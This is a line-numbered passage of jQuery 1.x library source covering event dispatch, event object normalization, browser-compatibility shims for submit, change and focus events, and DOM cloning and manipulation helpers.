5174 elem[ ontype ] = null;
5175 }
5176
5177 // Prevent re-triggering of the same event, since we already bubbled it above
5178 jQuery.event.triggered = type;
5179 try {
5180 elem[ type ]();
5181 } catch ( e ) {
5182
5183 // IE<9 dies on focus/blur to hidden element (#1486,#12518)
5184 // only reproducible on winXP IE8 native, not IE9 in IE8 mode
5185 }
5186 jQuery.event.triggered = undefined;
5187
5188 if ( tmp ) {
5189 elem[ ontype ] = tmp;
5190 }
5191 }
5192 }
5193 }
5194
5195 return event.result;
5196 },
5197
5198 dispatch: function( event ) {
5199
5200 // Make a writable jQuery.Event from the native event object
5201 event = jQuery.event.fix( event );
5202
5203 var i, j, ret, matched, handleObj,
5204 handlerQueue = [],
5205 args = slice.call( arguments ),
5206 handlers = ( jQuery._data( this, "events" ) || {} )[ event.type ] || [],
5207 special = jQuery.event.special[ event.type ] || {};
5208
5209 // Use the fix-ed jQuery.Event rather than the (read-only) native event
5210 args[ 0 ] = event;
5211 event.delegateTarget = this;
5212
5213 // Call the preDispatch hook for the mapped type, and let it bail if desired
5214 if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
5215 return;
5216 }
5217
5218 // Determine handlers
5219 handlerQueue = jQuery.event.handlers.call( this, event, handlers );
5220
5221 // Run delegates first; they may want to stop propagation beneath us
5222 i = 0;
5223 while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {
5224 event.currentTarget = matched.elem;
5225
5226 j = 0;
5227 while ( ( handleObj = matched.handlers[ j++ ] ) &&
5228 !event.isImmediatePropagationStopped() ) {
5229
5230 // Triggered event must either 1) have no namespace, or 2) have namespace(s)
5231 // a subset or equal to those in the bound event (both can have no namespace).
5232 if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) {
5233
5234 event.handleObj = handleObj;
5235 event.data = handleObj.data;
5236
5237 ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||
5238 handleObj.handler ).apply( matched.elem, args );
5239
5240 if ( ret !== undefined ) {
5241 if ( ( event.result = ret ) === false ) {
5242 event.preventDefault();
5243 event.stopPropagation();
5244 }
5245 }
5246 }
5247 }
5248 }
5249
5250 // Call the postDispatch hook for the mapped type
5251 if ( special.postDispatch ) {
5252 special.postDispatch.call( this, event );
5253 }
5254
5255 return event.result;
5256 },
5257
5258 handlers: function( event, handlers ) {
5259 var i, matches, sel, handleObj,
5260 handlerQueue = [],
5261 delegateCount = handlers.delegateCount,
5262 cur = event.target;
5263
5264 // Support (at least): Chrome, IE9
5265 // Find delegate handlers
5266 // Black-hole SVG <use> instance trees (#13180)
5267 //
5268 // Support: Firefox<=42+
5269 // Avoid non-left-click in FF but don't block IE radio events (#3861, gh-2343)
5270 if ( delegateCount && cur.nodeType &&
5271 ( event.type !== "click" || isNaN( event.button ) || event.button < 1 ) ) {
5272
5273 /* jshint eqeqeq: false */
5274 for ( ; cur != this; cur = cur.parentNode || this ) {
5275 /* jshint eqeqeq: true */
5276
5277 // Don't check non-elements (#13208)
5278 // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
5279 if ( cur.nodeType === 1 && ( cur.disabled !== true || event.type !== "click" ) ) {
5280 matches = [];
5281 for ( i = 0; i < delegateCount; i++ ) {
5282 handleObj = handlers[ i ];
5283
5284 // Don't conflict with Object.prototype properties (#13203)
5285 sel = handleObj.selector + " ";
5286
5287 if ( matches[ sel ] === undefined ) {
5288 matches[ sel ] = handleObj.needsContext ?
5289 jQuery( sel, this ).index( cur ) > -1 :
5290 jQuery.find( sel, this, null, [ cur ] ).length;
5291 }
5292 if ( matches[ sel ] ) {
5293 matches.push( handleObj );
5294 }
5295 }
5296 if ( matches.length ) {
5297 handlerQueue.push( { elem: cur, handlers: matches } );
5298 }
5299 }
5300 }
5301 }
5302
5303 // Add the remaining (directly-bound) handlers
5304 if ( delegateCount < handlers.length ) {
5305 handlerQueue.push( { elem: this, handlers: handlers.slice( delegateCount ) } );
5306 }
5307
5308 return handlerQueue;
5309 },
5310
5311 fix: function( event ) {
5312 if ( event[ jQuery.expando ] ) {
5313 return event;
5314 }
5315
5316 // Create a writable copy of the event object and normalize some properties
5317 var i, prop, copy,
5318 type = event.type,
5319 originalEvent = event,
5320 fixHook = this.fixHooks[ type ];
5321
5322 if ( !fixHook ) {
5323 this.fixHooks[ type ] = fixHook =
5324 rmouseEvent.test( type ) ? this.mouseHooks :
5325 rkeyEvent.test( type ) ? this.keyHooks :
5326 {};
5327 }
5328 copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;
5329
5330 event = new jQuery.Event( originalEvent );
5331
5332 i = copy.length;
5333 while ( i-- ) {
5334 prop = copy[ i ];
5335 event[ prop ] = originalEvent[ prop ];
5336 }
5337
5338 // Support: IE<9
5339 // Fix target property (#1925)
5340 if ( !event.target ) {
5341 event.target = originalEvent.srcElement || document;
5342 }
5343
5344 // Support: Safari 6-8+
5345 // Target should not be a text node (#504, #13143)
5346 if ( event.target.nodeType === 3 ) {
5347 event.target = event.target.parentNode;
5348 }
5349
5350 // Support: IE<9
5351 // For mouse/key events, metaKey==false if it's undefined (#3368, #11328)
5352 event.metaKey = !!event.metaKey;
5353
5354 return fixHook.filter ? fixHook.filter( event, originalEvent ) : event;
5355 },
5356
5357 // Includes some event props shared by KeyEvent and MouseEvent
5358 props: ( "altKey bubbles cancelable ctrlKey currentTarget detail eventPhase " +
5359 "metaKey relatedTarget shiftKey target timeStamp view which" ).split( " " ),
5360
5361 fixHooks: {},
5362
5363 keyHooks: {
5364 props: "char charCode key keyCode".split( " " ),
5365 filter: function( event, original ) {
5366
5367 // Add which for key events
5368 if ( event.which == null ) {
5369 event.which = original.charCode != null ? original.charCode : original.keyCode;
5370 }
5371
5372 return event;
5373 }
5374 },
5375
5376 mouseHooks: {
5377 props: ( "button buttons clientX clientY fromElement offsetX offsetY " +
5378 "pageX pageY screenX screenY toElement" ).split( " " ),
5379 filter: function( event, original ) {
5380 var body, eventDoc, doc,
5381 button = original.button,
5382 fromElement = original.fromElement;
5383
5384 // Calculate pageX/Y if missing and clientX/Y available
5385 if ( event.pageX == null && original.clientX != null ) {
5386 eventDoc = event.target.ownerDocument || document;
5387 doc = eventDoc.documentElement;
5388 body = eventDoc.body;
5389
5390 event.pageX = original.clientX +
5391 ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) -
5392 ( doc && doc.clientLeft || body && body.clientLeft || 0 );
5393 event.pageY = original.clientY +
5394 ( doc && doc.scrollTop || body && body.scrollTop || 0 ) -
5395 ( doc && doc.clientTop || body && body.clientTop || 0 );
5396 }
5397
5398 // Add relatedTarget, if necessary
5399 if ( !event.relatedTarget && fromElement ) {
5400 event.relatedTarget = fromElement === event.target ?
5401 original.toElement :
5402 fromElement;
5403 }
5404
5405 // Add which for click: 1 === left; 2 === middle; 3 === right
5406 // Note: button is not normalized, so don't use it
5407 if ( !event.which && button !== undefined ) {
5408 event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );
5409 }
5410
5411 return event;
5412 }
5413 },
5414
5415 special: {
5416 load: {
5417
5418 // Prevent triggered image.load events from bubbling to window.load
5419 noBubble: true
5420 },
5421 focus: {
5422
5423 // Fire native event if possible so blur/focus sequence is correct
5424 trigger: function() {
5425 if ( this !== safeActiveElement() && this.focus ) {
5426 try {
5427 this.focus();
5428 return false;
5429 } catch ( e ) {
5430
5431 // Support: IE<9
5432 // If we error on focus to hidden element (#1486, #12518),
5433 // let .trigger() run the handlers
5434 }
5435 }
5436 },
5437 delegateType: "focusin"
5438 },
5439 blur: {
5440 trigger: function() {
5441 if ( this === safeActiveElement() && this.blur ) {
5442 this.blur();
5443 return false;
5444 }
5445 },
5446 delegateType: "focusout"
5447 },
5448 click: {
5449
5450 // For checkbox, fire native event so checked state will be right
5451 trigger: function() {
5452 if ( jQuery.nodeName( this, "input" ) && this.type === "checkbox" && this.click ) {
5453 this.click();
5454 return false;
5455 }
5456 },
5457
5458 // For cross-browser consistency, don't fire native .click() on links
5459 _default: function( event ) {
5460 return jQuery.nodeName( event.target, "a" );
5461 }
5462 },
5463
5464 beforeunload: {
5465 postDispatch: function( event ) {
5466
5467 // Support: Firefox 20+
5468 // Firefox doesn't alert if the returnValue field is not set.
5469 if ( event.result !== undefined && event.originalEvent ) {
5470 event.originalEvent.returnValue = event.result;
5471 }
5472 }
5473 }
5474 },
5475
5476 // Piggyback on a donor event to simulate a different one
5477 simulate: function( type, elem, event ) {
5478 var e = jQuery.extend(
5479 new jQuery.Event(),
5480 event,
5481 {
5482 type: type,
5483 isSimulated: true
5484
5485 // Previously, `originalEvent: {}` was set here, so stopPropagation call
5486 // would not be triggered on donor event, since in our own
5487 // jQuery.event.stopPropagation function we had a check for existence of
5488 // originalEvent.stopPropagation method, so, consequently it would be a noop.
5489 //
5490 // Guard for simulated events was moved to jQuery.event.stopPropagation function
5491 // since `originalEvent` should point to the original event for the
5492 // constancy with other events and for more focused logic
5493 }
5494 );
5495
5496 jQuery.event.trigger( e, null, elem );
5497
5498 if ( e.isDefaultPrevented() ) {
5499 event.preventDefault();
5500 }
5501 }
5502 };
5503
5504 jQuery.removeEvent = document.removeEventListener ?
5505 function( elem, type, handle ) {
5506
5507 // This "if" is needed for plain objects
5508 if ( elem.removeEventListener ) {
5509 elem.removeEventListener( type, handle );
5510 }
5511 } :
5512 function( elem, type, handle ) {
5513 var name = "on" + type;
5514
5515 if ( elem.detachEvent ) {
5516
5517 // #8545, #7054, preventing memory leaks for custom events in IE6-8
5518 // detachEvent needed property on element, by name of that event,
5519 // to properly expose it to GC
5520 if ( typeof elem[ name ] === "undefined" ) {
5521 elem[ name ] = null;
5522 }
5523
5524 elem.detachEvent( name, handle );
5525 }
5526 };
5527
5528 jQuery.Event = function( src, props ) {
5529
5530 // Allow instantiation without the 'new' keyword
5531 if ( !( this instanceof jQuery.Event ) ) {
5532 return new jQuery.Event( src, props );
5533 }
5534
5535 // Event object
5536 if ( src && src.type ) {
5537 this.originalEvent = src;
5538 this.type = src.type;
5539
5540 // Events bubbling up the document may have been marked as prevented
5541 // by a handler lower down the tree; reflect the correct value.
5542 this.isDefaultPrevented = src.defaultPrevented ||
5543 src.defaultPrevented === undefined &&
5544
5545 // Support: IE < 9, Android < 4.0
5546 src.returnValue === false ?
5547 returnTrue :
5548 returnFalse;
5549
5550 // Event type
5551 } else {
5552 this.type = src;
5553 }
5554
5555 // Put explicitly provided properties onto the event object
5556 if ( props ) {
5557 jQuery.extend( this, props );
5558 }
5559
5560 // Create a timestamp if incoming event doesn't have one
5561 this.timeStamp = src && src.timeStamp || jQuery.now();
5562
5563 // Mark it as fixed
5564 this[ jQuery.expando ] = true;
5565 };
5566
5567// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
5568// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
5569 jQuery.Event.prototype = {
5570 constructor: jQuery.Event,
5571 isDefaultPrevented: returnFalse,
5572 isPropagationStopped: returnFalse,
5573 isImmediatePropagationStopped: returnFalse,
5574
5575 preventDefault: function() {
5576 var e = this.originalEvent;
5577
5578 this.isDefaultPrevented = returnTrue;
5579 if ( !e ) {
5580 return;
5581 }
5582
5583 // If preventDefault exists, run it on the original event
5584 if ( e.preventDefault ) {
5585 e.preventDefault();
5586
5587 // Support: IE
5588 // Otherwise set the returnValue property of the original event to false
5589 } else {
5590 e.returnValue = false;
5591 }
5592 },
5593 stopPropagation: function() {
5594 var e = this.originalEvent;
5595
5596 this.isPropagationStopped = returnTrue;
5597
5598 if ( !e || this.isSimulated ) {
5599 return;
5600 }
5601
5602 // If stopPropagation exists, run it on the original event
5603 if ( e.stopPropagation ) {
5604 e.stopPropagation();
5605 }
5606
5607 // Support: IE
5608 // Set the cancelBubble property of the original event to true
5609 e.cancelBubble = true;
5610 },
5611 stopImmediatePropagation: function() {
5612 var e = this.originalEvent;
5613
5614 this.isImmediatePropagationStopped = returnTrue;
5615
5616 if ( e && e.stopImmediatePropagation ) {
5617 e.stopImmediatePropagation();
5618 }
5619
5620 this.stopPropagation();
5621 }
5622 };
5623
5624// Create mouseenter/leave events using mouseover/out and event-time checks
5625// so that event delegation works in jQuery.
5626// Do the same for pointerenter/pointerleave and pointerover/pointerout
5627//
5628// Support: Safari 7 only
5629// Safari sends mouseenter too often; see:
5630// https://code.google.com/p/chromium/issues/detail?id=470258
5631// for the description of the bug (it existed in older Chrome versions as well).
5632 jQuery.each( {
5633 mouseenter: "mouseover",
5634 mouseleave: "mouseout",
5635 pointerenter: "pointerover",
5636 pointerleave: "pointerout"
5637 }, function( orig, fix ) {
5638 jQuery.event.special[ orig ] = {
5639 delegateType: fix,
5640 bindType: fix,
5641
5642 handle: function( event ) {
5643 var ret,
5644 target = this,
5645 related = event.relatedTarget,
5646 handleObj = event.handleObj;
5647
5648 // For mouseenter/leave call the handler if related is outside the target.
5649 // NB: No relatedTarget if the mouse left/entered the browser window
5650 if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {
5651 event.type = handleObj.origType;
5652 ret = handleObj.handler.apply( this, arguments );
5653 event.type = fix;
5654 }
5655 return ret;
5656 }
5657 };
5658 } );
5659
5660// IE submit delegation
5661 if ( !support.submit ) {
5662
5663 jQuery.event.special.submit = {
5664 setup: function() {
5665
5666 // Only need this for delegated form submit events
5667 if ( jQuery.nodeName( this, "form" ) ) {
5668 return false;
5669 }
5670
5671 // Lazy-add a submit handler when a descendant form may potentially be submitted
5672 jQuery.event.add( this, "click._submit keypress._submit", function( e ) {
5673
5674 // Node name check avoids a VML-related crash in IE (#9807)
5675 var elem = e.target,
5676 form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ?
5677
5678 // Support: IE <=8
5679 // We use jQuery.prop instead of elem.form
5680 // to allow fixing the IE8 delegated submit issue (gh-2332)
5681 // by 3rd party polyfills/workarounds.
5682 jQuery.prop( elem, "form" ) :
5683 undefined;
5684
5685 if ( form && !jQuery._data( form, "submit" ) ) {
5686 jQuery.event.add( form, "submit._submit", function( event ) {
5687 event._submitBubble = true;
5688 } );
5689 jQuery._data( form, "submit", true );
5690 }
5691 } );
5692
5693 // return undefined since we don't need an event listener
5694 },
5695
5696 postDispatch: function( event ) {
5697
5698 // If form was submitted by the user, bubble the event up the tree
5699 if ( event._submitBubble ) {
5700 delete event._submitBubble;
5701 if ( this.parentNode && !event.isTrigger ) {
5702 jQuery.event.simulate( "submit", this.parentNode, event );
5703 }
5704 }
5705 },
5706
5707 teardown: function() {
5708
5709 // Only need this for delegated form submit events
5710 if ( jQuery.nodeName( this, "form" ) ) {
5711 return false;
5712 }
5713
5714 // Remove delegated handlers; cleanData eventually reaps submit handlers attached above
5715 jQuery.event.remove( this, "._submit" );
5716 }
5717 };
5718 }
5719
5720// IE change delegation and checkbox/radio fix
5721 if ( !support.change ) {
5722
5723 jQuery.event.special.change = {
5724
5725 setup: function() {
5726
5727 if ( rformElems.test( this.nodeName ) ) {
5728
5729 // IE doesn't fire change on a check/radio until blur; trigger it on click
5730 // after a propertychange. Eat the blur-change in special.change.handle.
5731 // This still fires onchange a second time for check/radio after blur.
5732 if ( this.type === "checkbox" || this.type === "radio" ) {
5733 jQuery.event.add( this, "propertychange._change", function( event ) {
5734 if ( event.originalEvent.propertyName === "checked" ) {
5735 this._justChanged = true;
5736 }
5737 } );
5738 jQuery.event.add( this, "click._change", function( event ) {
5739 if ( this._justChanged && !event.isTrigger ) {
5740 this._justChanged = false;
5741 }
5742
5743 // Allow triggered, simulated change events (#11500)
5744 jQuery.event.simulate( "change", this, event );
5745 } );
5746 }
5747 return false;
5748 }
5749
5750 // Delegated event; lazy-add a change handler on descendant inputs
5751 jQuery.event.add( this, "beforeactivate._change", function( e ) {
5752 var elem = e.target;
5753
5754 if ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, "change" ) ) {
5755 jQuery.event.add( elem, "change._change", function( event ) {
5756 if ( this.parentNode && !event.isSimulated && !event.isTrigger ) {
5757 jQuery.event.simulate( "change", this.parentNode, event );
5758 }
5759 } );
5760 jQuery._data( elem, "change", true );
5761 }
5762 } );
5763 },
5764
5765 handle: function( event ) {
5766 var elem = event.target;
5767
5768 // Swallow native change events from checkbox/radio, we already triggered them above
5769 if ( this !== elem || event.isSimulated || event.isTrigger ||
5770 ( elem.type !== "radio" && elem.type !== "checkbox" ) ) {
5771
5772 return event.handleObj.handler.apply( this, arguments );
5773 }
5774 },
5775
5776 teardown: function() {
5777 jQuery.event.remove( this, "._change" );
5778
5779 return !rformElems.test( this.nodeName );
5780 }
5781 };
5782 }
5783
5784// Support: Firefox
5785// Firefox doesn't have focus(in | out) events
5786// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787
5787//
5788// Support: Chrome, Safari
5789// focus(in | out) events fire after focus & blur events,
5790// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order
5791// Related ticket - https://code.google.com/p/chromium/issues/detail?id=449857
5792 if ( !support.focusin ) {
5793 jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) {
5794
5795 // Attach a single capturing handler on the document while someone wants focusin/focusout
5796 var handler = function( event ) {
5797 jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );
5798 };
5799
5800 jQuery.event.special[ fix ] = {
5801 setup: function() {
5802 var doc = this.ownerDocument || this,
5803 attaches = jQuery._data( doc, fix );
5804
5805 if ( !attaches ) {
5806 doc.addEventListener( orig, handler, true );
5807 }
5808 jQuery._data( doc, fix, ( attaches || 0 ) + 1 );
5809 },
5810 teardown: function() {
5811 var doc = this.ownerDocument || this,
5812 attaches = jQuery._data( doc, fix ) - 1;
5813
5814 if ( !attaches ) {
5815 doc.removeEventListener( orig, handler, true );
5816 jQuery._removeData( doc, fix );
5817 } else {
5818 jQuery._data( doc, fix, attaches );
5819 }
5820 }
5821 };
5822 } );
5823 }
5824
5825 jQuery.fn.extend( {
5826
5827 on: function( types, selector, data, fn ) {
5828 return on( this, types, selector, data, fn );
5829 },
5830 one: function( types, selector, data, fn ) {
5831 return on( this, types, selector, data, fn, 1 );
5832 },
5833 off: function( types, selector, fn ) {
5834 var handleObj, type;
5835 if ( types && types.preventDefault && types.handleObj ) {
5836
5837 // ( event ) dispatched jQuery.Event
5838 handleObj = types.handleObj;
5839 jQuery( types.delegateTarget ).off(
5840 handleObj.namespace ?
5841 handleObj.origType + "." + handleObj.namespace :
5842 handleObj.origType,
5843 handleObj.selector,
5844 handleObj.handler
5845 );
5846 return this;
5847 }
5848 if ( typeof types === "object" ) {
5849
5850 // ( types-object [, selector] )
5851 for ( type in types ) {
5852 this.off( type, selector, types[ type ] );
5853 }
5854 return this;
5855 }
5856 if ( selector === false || typeof selector === "function" ) {
5857
5858 // ( types [, fn] )
5859 fn = selector;
5860 selector = undefined;
5861 }
5862 if ( fn === false ) {
5863 fn = returnFalse;
5864 }
5865 return this.each( function() {
5866 jQuery.event.remove( this, types, fn, selector );
5867 } );
5868 },
5869
5870 trigger: function( type, data ) {
5871 return this.each( function() {
5872 jQuery.event.trigger( type, data, this );
5873 } );
5874 },
5875 triggerHandler: function( type, data ) {
5876 var elem = this[ 0 ];
5877 if ( elem ) {
5878 return jQuery.event.trigger( type, data, elem, true );
5879 }
5880 }
5881 } );
5882
5883
5884 var rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
5885 rnoshimcache = new RegExp( "<(?:" + nodeNames + ")[\\s/>]", "i" ),
5886 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,
5887
5888 // Support: IE 10-11, Edge 10240+
5889 // In IE/Edge using regex groups here causes severe slowdowns.
5890 // See https://connect.microsoft.com/IE/feedback/details/1736512/
5891 rnoInnerhtml = /<script|<style|<link/i,
5892
5893 // checked="checked" or checked
5894 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
5895 rscriptTypeMasked = /^true\/(.*)/,
5896 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
5897 safeFragment = createSafeFragment( document ),
5898 fragmentDiv = safeFragment.appendChild( document.createElement( "div" ) );
5899
5900// Support: IE<8
5901// Manipulating tables requires a tbody
5902 function manipulationTarget( elem, content ) {
5903 return jQuery.nodeName( elem, "table" ) &&
5904 jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ?
5905
5906 elem.getElementsByTagName( "tbody" )[ 0 ] ||
5907 elem.appendChild( elem.ownerDocument.createElement( "tbody" ) ) :
5908 elem;
5909 }
5910
5911// Replace/restore the type attribute of script elements for safe DOM manipulation
5912 function disableScript( elem ) {
5913 elem.type = ( jQuery.find.attr( elem, "type" ) !== null ) + "/" + elem.type;
5914 return elem;
5915 }
5916 function restoreScript( elem ) {
5917 var match = rscriptTypeMasked.exec( elem.type );
5918 if ( match ) {
5919 elem.type = match[ 1 ];
5920 } else {
5921 elem.removeAttribute( "type" );
5922 }
5923 return elem;
5924 }
5925
5926 function cloneCopyEvent( src, dest ) {
5927 if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {
5928 return;
5929 }
5930
5931 var type, i, l,
5932 oldData = jQuery._data( src ),
5933 curData = jQuery._data( dest, oldData ),
5934 events = oldData.events;
5935
5936 if ( events ) {
5937 delete curData.handle;
5938 curData.events = {};
5939
5940 for ( type in events ) {
5941 for ( i = 0, l = events[ type ].length; i < l; i++ ) {
5942 jQuery.event.add( dest, type, events[ type ][ i ] );
5943 }
5944 }
5945 }
5946
5947 // make the cloned public data object a copy from the original
5948 if ( curData.data ) {
5949 curData.data = jQuery.extend( {}, curData.data );
5950 }
5951 }
5952
5953 function fixCloneNodeIssues( src, dest ) {
5954 var nodeName, e, data;
5955
5956 // We do not need to do anything for non-Elements
5957 if ( dest.nodeType !== 1 ) {
5958 return;
5959 }
5960
5961 nodeName = dest.nodeName.toLowerCase();
5962
5963 // IE6-8 copies events bound via attachEvent when using cloneNode.
5964 if ( !support.noCloneEvent && dest[ jQuery.expando ] ) {
5965 data = jQuery._data( dest );
5966
5967 for ( e in data.events ) {
5968 jQuery.removeEvent( dest, e, data.handle );
5969 }
5970
5971 // Event data gets referenced instead of copied if the expando gets copied too
5972 dest.removeAttribute( jQuery.expando );
5973 }
5974
5975 // IE blanks contents when cloning scripts, and tries to evaluate newly-set text
5976 if ( nodeName === "script" && dest.text !== src.text ) {
5977 disableScript( dest ).text = src.text;
5978 restoreScript( dest );
5979
5980 // IE6-10 improperly clones children of object elements using classid.
5981 // IE10 throws NoModificationAllowedError if parent is null, #12132.
5982 } else if ( nodeName === "object" ) {
5983 if ( dest.parentNode ) {
5984 dest.outerHTML = src.outerHTML;
5985 }
5986
5987 // This path appears unavoidable for IE9. When cloning an object
5988 // element in IE9, the outerHTML strategy above is not sufficient.
5989 // If the src has innerHTML and the destination does not,
5990 // copy the src.innerHTML into the dest.innerHTML. #10324
5991 if ( support.html5Clone && ( src.innerHTML && !jQuery.trim( dest.innerHTML ) ) ) {
5992 dest.innerHTML = src.innerHTML;
5993 }
5994
5995 } else if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
5996
5997 // IE6-8 fails to persist the checked state of a cloned checkbox
5998 // or radio button. Worse, IE6-7 fail to give the cloned element
5999 // a checked appearance if the defaultChecked value isn't also set
6000
6001 dest.defaultChecked = dest.checked = src.checked;
6002
6003 // IE6-7 get confused and end up setting the value of a cloned
6004 // checkbox/radio button to an empty string instead of "on"
6005 if ( dest.value !== src.value ) {
6006 dest.value = src.value;
6007 }
6008
6009 // IE6-8 fails to return the selected option to the default selected
6010 // state when cloning options
6011 } else if ( nodeName === "option" ) {
6012 dest.defaultSelected = dest.selected = src.defaultSelected;
6013
6014 // IE6-8 fails to set the defaultValue to the correct value when
6015 // cloning other types of input fields
6016 } else if ( nodeName === "input" || nodeName === "textarea" ) {
6017 dest.defaultValue = src.defaultValue;
6018 }
6019 }
6020
6021 function domManip( collection, args, callback, ignored ) {
6022
6023 // Flatten any nested arrays
6024 args = concat.apply( [], args );
6025
6026 var first, node, hasScripts,
6027 scripts, doc, fragment,
6028 i = 0,
6029 l = collection.length,
6030 iNoClone = l - 1,
6031 value = args[ 0 ],
6032 isFunction = jQuery.isFunction( value );
6033
6034 // We can't cloneNode fragments that contain checked, in WebKit
6035 if ( isFunction ||
6036 ( l > 1 && typeof value === "string" &&
6037 !support.checkClone && rchecked.test( value ) ) ) {
6038 return collection.each( function( index ) {
6039 var self = collection.eq( index );
6040 if ( isFunction ) {
6041 args[ 0 ] = value.call( this, index, self.html() );
6042 }
6043 domManip( self, args, callback, ignored );
6044 } );
6045 }
6046
6047 if ( l ) {
6048 fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );
6049 first = fragment.firstChild;
6050
6051 if ( fragment.childNodes.length === 1 ) {
6052 fragment = first;
6053 }
6054
6055 // Require either new content or an interest in ignored elements to invoke the callback
6056 if ( first || ignored ) {
6057 scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
6058 hasScripts = scripts.length;
6059
6060 // Use the original fragment for the last item
6061 // instead of the first because it can end up
6062 // being emptied incorrectly in certain situations (#8070).
6063 for ( ; i < l; i++ ) {
6064 node = fragment;
6065
6066 if ( i !== iNoClone ) {
6067 node = jQuery.clone( node, true, true );
6068
6069 // Keep references to cloned scripts for later restoration
6070 if ( hasScripts ) {
6071
6072 // Support: Android<4.1, PhantomJS<2
6073 // push.apply(_, arraylike) throws on ancient WebKit
6074 jQuery.merge( scripts, getAll( node, "script" ) );
6075 }
6076 }
6077
6078 callback.call( collection[ i ], node, i );
6079 }
6080
6081 if ( hasScripts ) {
6082 doc = scripts[ scripts.length - 1 ].ownerDocument;
6083
6084 // Reenable scripts
6085 jQuery.map( scripts, restoreScript );
6086
6087 // Evaluate executable scripts on first document insertion
6088 for ( i = 0; i < hasScripts; i++ ) {
6089 node = scripts[ i ];
6090 if ( rscriptType.test( node.type || "" ) &&
6091 !jQuery._data( node, "globalEval" ) &&
6092 jQuery.contains( doc, node ) ) {
6093
6094 if ( node.src ) {
6095
6096 // Optional AJAX dependency, but won't run scripts if not present
6097 if ( jQuery._evalUrl ) {
6098 jQuery._evalUrl( node.src );
6099 }
6100 } else {
6101 jQuery.globalEval(
6102 ( node.text || node.textContent || node.innerHTML || "" )
6103 .replace( rcleanScript, "" )
6104 );
6105 }
6106 }
6107 }
6108 }
6109
6110 // Fix #11809: Avoid leaking memory
6111 fragment = first = null;
6112 }
6113 }
6114
6115 return collection;
6116 }
6117
6118 function remove( elem, selector, keepData ) {
6119 var node,
6120 elems = selector ? jQuery.filter( selector, elem ) : elem,
6121 i = 0;
6122
6123 for ( ; ( node = elems[ i ] ) != null; i++ ) {
6124
6125 if ( !keepData && node.nodeType === 1 ) {
6126 jQuery.cleanData( getAll( node ) );
6127 }
6128
6129 if ( node.parentNode ) {
6130 if ( keepData && jQuery.contains( node.ownerDocument, node ) ) {
6131 setGlobalEval( getAll( node, "script" ) );
6132 }
6133 node.parentNode.removeChild( node );
6134 }
6135 }
6136
6137 return elem;
6138 }
6139
6140 jQuery.extend( {
6141 htmlPrefilter: function( html ) {
6142 return html.replace( rxhtmlTag, "<$1></$2>" );
6143 },
6144
6145 clone: function( elem, dataAndEvents, deepDataAndEvents ) {
6146 var destElements, node, clone, i, srcElements,
6147 inPage = jQuery.contains( elem.ownerDocument, elem );
6148
6149 if ( support.html5Clone || jQuery.isXMLDoc( elem ) ||
6150 !rnoshimcache.test( "<" + elem.nodeName + ">" ) ) {
6151
6152 clone = elem.cloneNode( true );
6153
6154 // IE<=8 does not properly clone detached, unknown element nodes
6155 } else {
6156 fragmentDiv.innerHTML = elem.outerHTML;
6157 fragmentDiv.removeChild( clone = fragmentDiv.firstChild );
6158 }
6159
6160 if ( ( !support.noCloneEvent || !support.noCloneChecked ) &&
6161 ( elem.nodeType === 1 || elem.nodeType === 11 ) && !jQuery.isXMLDoc( elem ) ) {
6162
6163 // We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2
6164 destElements = getAll( clone );
6165 srcElements = getAll( elem );
6166
6167 // Fix all IE cloning issues
6168 for ( i = 0; ( node = srcElements[ i ] ) != null; ++i ) {
6169
6170 // Ensure that the destination node is not null; Fixes #9587
6171 if ( destElements[ i ] ) {
6172 fixCloneNodeIssues( node, destElements[ i ] );
6173 }
6174 }
6175 }
6176
6177 // Copy the events from the original to the clone
6178 if ( dataAndEvents ) {
6179 if ( deepDataAndEvents ) {
6180 srcElements = srcElements || getAll( elem );
6181 destElements = destElements || getAll( clone );
6182
6183 for ( i = 0; ( node = srcElements[ i ] ) != null; i++ ) {
6184 cloneCopyEvent( node, destElements[ i ] );
6185 }
6186 } else {
6187 cloneCopyEvent( elem, clone );
6188 }
6189 }
6190
6191 // Preserve script evaluation history
6192 destElements = getAll( clone, "script" );
6193 if ( destElements.length > 0 ) {
6194 setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
6195 }
6196
6197 destElements = srcElements = node = null;
6198
6199 // Return the cloned set
6200 return clone;
6201 },
6202
6203 cleanData: function( elems, /* internal */ forceAcceptData ) {
6204 var elem, type, id, data,
6205 i = 0,
6206 internalKey = jQuery.expando,
6207 cache = jQuery.cache,
6208 attributes = support.attributes,
6209 special = jQuery.event.special;
6210
6211 for ( ; ( elem = elems[ i ] ) != null; i++ ) {
6212 if ( forceAcceptData || acceptData( elem ) ) {
6213
6214 id = elem[ internalKey ];
6215 data = id && cache[ id ];
6216
6217 if ( data ) {
6218 if ( data.events ) {
6219 for ( type in data.events ) {
6220 if ( special[ type ] ) {
6221 jQuery.event.remove( elem, type );
6222
